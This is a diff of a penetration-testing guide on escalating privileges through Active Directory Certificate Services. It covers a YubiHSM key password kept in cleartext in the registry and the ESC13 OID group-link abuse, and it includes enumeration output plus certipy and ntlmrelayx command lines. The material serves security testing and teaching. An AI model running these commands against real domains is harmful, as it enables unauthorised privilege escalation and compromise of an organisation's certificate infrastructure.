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windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
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@ -673,11 +673,11 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
Administrators can set up the Certificate Authority to store it on an external device like the "Yubico YubiHSM2". Administrators can set up the Certificate Authority to store it on an external device like the "Yubico YubiHSM2".
If USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine, an authentication key (sometimes referred to as a "password") is required for the Key Storage Provider to generate and utilize keys in the YubiHSM. If USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine, an authentication key (sometimes referred to as a "password") is required for the Key Storage Provider to generate and utilize keys in the YubiHSM.
This key/password is stored in the registry under `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in cleartext. This key/password is stored in the registry under `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in cleartext.
Everything is explained [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
### Abuse Scenario ### Abuse Scenario
@ -704,38 +704,43 @@ The `msPKI-Certificate-Policy` attribute allows the issuance policy to be added
In other words, when a user has permission to enroll a certificate and the certificate is link to an OID group, the user can inherit the privileges of this group. In other words, when a user has permission to enroll a certificate and the certificate is link to an OID group, the user can inherit the privileges of this group.
You can use [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) to find OIDToGroupLink: Use [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) to find OIDToGroupLink:
```powershell ```powershell
Enumerating OIDs Enumerating OIDs
------------------------ ------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=Vulnerable template,CN=Users,DC=domain,DC=htb OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150 OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=htb OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150 OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=Vulnerable template,CN=Users,DC=domain,DC=htb OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------ ------------------------
Enumerating certificate templates Enumerating certificate templates
------------------------ ------------------------
Certificate template ManagerAuthentication may be used to obtain membership of CN=Vulnerable template,CN=Users,DC=domain,DC=htb Certificate template VulnerableTemplate may be used to obtain membership of CN=VulnerableGroup,CN=Users,DC=domain,DC=local
Certificate template Name: ManagerAuthentication Certificate template Name: VulnerableTemplate
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150 OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=htb OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150 OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=Vulnerable template,CN=Users,DC=domain,DC=htb OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------ ------------------------
``` ```
### Abuse Scenario ### Abuse Scenario
All you need to do just specify the template, you will get a certificate with OIDToGroupLink rights. Find a user permission it can use `certipy find` or `Certify.exe find /showAllPermissions`.
If `John` have have permission to enroll `VulnerableTemplate`, the user can inherit the privileges of `VulnerableGroup` group.
All it need to do just specify the template, it will get a certificate with OIDToGroupLink rights.
```bash ```bash
certipy req -u "mane@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'Vulnerable template' certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
``` ```
## Compromising Forests with Certificates Explained in Passive Voice ## Compromising Forests with Certificates Explained in Passive Voice
### Breaking of Forest Trusts by Compromised CAs ### Breaking of Forest Trusts by Compromised CAs